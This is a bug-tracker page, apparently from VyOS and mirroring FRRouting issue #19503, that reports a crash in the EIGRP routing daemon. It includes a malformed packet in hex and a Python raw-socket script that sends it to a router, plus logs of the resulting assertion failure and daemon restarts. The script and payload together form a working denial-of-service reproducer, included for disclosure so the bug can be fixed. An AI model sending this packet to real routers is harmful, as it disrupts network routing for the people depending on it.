Page MenuHomeVyOS Platform

EIGRP: daemon crashes with malformed packet #19503
Closed, ResolvedPublic

Description

Context from Issue #19503:

"Description
When sending the following malformed EIGRP packet to a router running FRRouting, the eigrpd process aborts and restarts.

Packet(hex)
02010000000000000000000000000101010100010001000CC04E968CFC78A1A0ACA93768

Version
version 10.5-dev-MyOwnFRRVersion (and older 10.3.1)
How to reproduce
I execute this python script. That I execute from the router2 with the ip address : 10.12.0.2 to send a malformed packet to router1 with the ip address 10.12.0.1.

Python script to reproduce:

import socket

DST_IP = "10.12.0.1"
SRC_IP = "10.12.0.2"
IPPROTO_EIGRP = 88

eigrp_packet = bytes.fromhex(

"02010000000000000000000000000101010100010001000CC04E968CFC78A1A0ACA93768"

)

sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, IPPROTO_EIGRP)

sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 0)

sock.sendto(eigrp_packet, (DST_IP, 0))
Expected behavior
For me, malformed EIGRP packets should be detected and dropped without causing the daemon to crash or restart.

Actual behavior
The malformed packet seems triggers an assertion failure in stream_getc, causing eigrpd to abort and restart.

Additional context
Here is the logs that I collect from the router 1 when I send 2 times this packet from the router 2 :

2025/08/29 13:15:24.016 ZEBRA: [WPPMZ-G9797] if_zebra_speed_update: eth3 old speed: 0 new speed: 10000
2025/08/29 13:16:56.550 EIGRP: [S48XV-GT1WC][EC 100663311] stream_getc: Attempt to get char out of bounds
2025/08/29 13:16:56.550 EIGRP: [RF6RD-ZCBTC][EC 100663311] &(struct stream): 0x712bb560a030, size: 65536, getp: 56, endp: 56
2025/08/29 13:16:56.550 EIGRP: No backtrace available on this platform.
2025/08/29 13:16:56.550 EIGRP: lib/stream.c:368: stream_getc(): assertion (0) failed
EIGRP: Received signal 6 at 1756473416 (si_addr 0x6400000029, PC 0x712bb7b5c3fa); aborting...
EIGRP: in thread eigrp_read scheduled from eigrpd/eigrp_packet.c:495 eigrp_read()
2025/08/29 13:16:56.633 ZEBRA: [VXKFG-8SJRV][EC 4043309121] Client 'eigrp' encountered an error and is shutting down.
2025/08/29 13:16:56.636 ZEBRA: [YDZ55-W3VM6] release_daemon_table_chunks: Released 0 table chunks
2025/08/29 13:16:56.636 ZEBRA: [JPSA8-5KYEA] client 43 disconnected 6 eigrp routes removed from the rib
2025/08/29 13:16:56.636 ZEBRA: [S929C-NZR3N] client 43 disconnected 0 eigrp nhgs removed from the rib
2025/08/29 13:17:01.635 ZEBRA: [V98V0-MTWPF] client 43 says hello and bids fair to announce only eigrp routes vrf=0
2025/08/29 13:17:04.147 EIGRP: [S952A-FCHKT] Neighbor 10.13.0.3 (eth2) is pending: new adjacency
2025/08/29 13:17:11.681 EIGRP: [MYQBE-NTVKH] Neighbor(10.13.0.3) adjacency became full
2025/08/29 13:17:35.899 EIGRP: [S48XV-GT1WC][EC 100663311] stream_getc: Attempt to get char out of bounds
2025/08/29 13:17:35.899 EIGRP: [RF6RD-ZCBTC][EC 100663311] &(struct stream): 0x7a30f9b80030, size: 65536, getp: 56, endp: 56
2025/08/29 13:17:35.899 EIGRP: No backtrace available on this platform.
2025/08/29 13:17:35.899 EIGRP: lib/stream.c:368: stream_getc(): assertion (0) failed
EIGRP: Received signal 6 at 1756473455 (si_addr 0x640000003f, PC 0x7a30fc0d23fa); aborting...
EIGRP: in thread eigrp_read scheduled from eigrpd/eigrp_packet.c:495 eigrp_read()
2025/08/29 13:17:35.980 ZEBRA: [VXKFG-8SJRV][EC 4043309121] Client 'eigrp' encountered an error and is shutting down.
2025/08/29 13:17:35.984 ZEBRA: [YDZ55-W3VM6] release_daemon_table_chunks: Released 0 table chunks
2025/08/29 13:17:35.984 ZEBRA: [JPSA8-5KYEA] client 43 disconnected 6 eigrp routes removed from the rib
2025/08/29 13:17:35.984 ZEBRA: [S929C-NZR3N] client 43 disconnected 0 eigrp nhgs removed from the rib

I also have the pcap trace when I send this malformed packet (sent 2 times)."

Details

Version
-
Is it a breaking change?
Unspecified (possibly destroys the router)
Issue type
Bug (incorrect behavior)
Forum thread
https://github.com/FRRouting/frr/issues/19503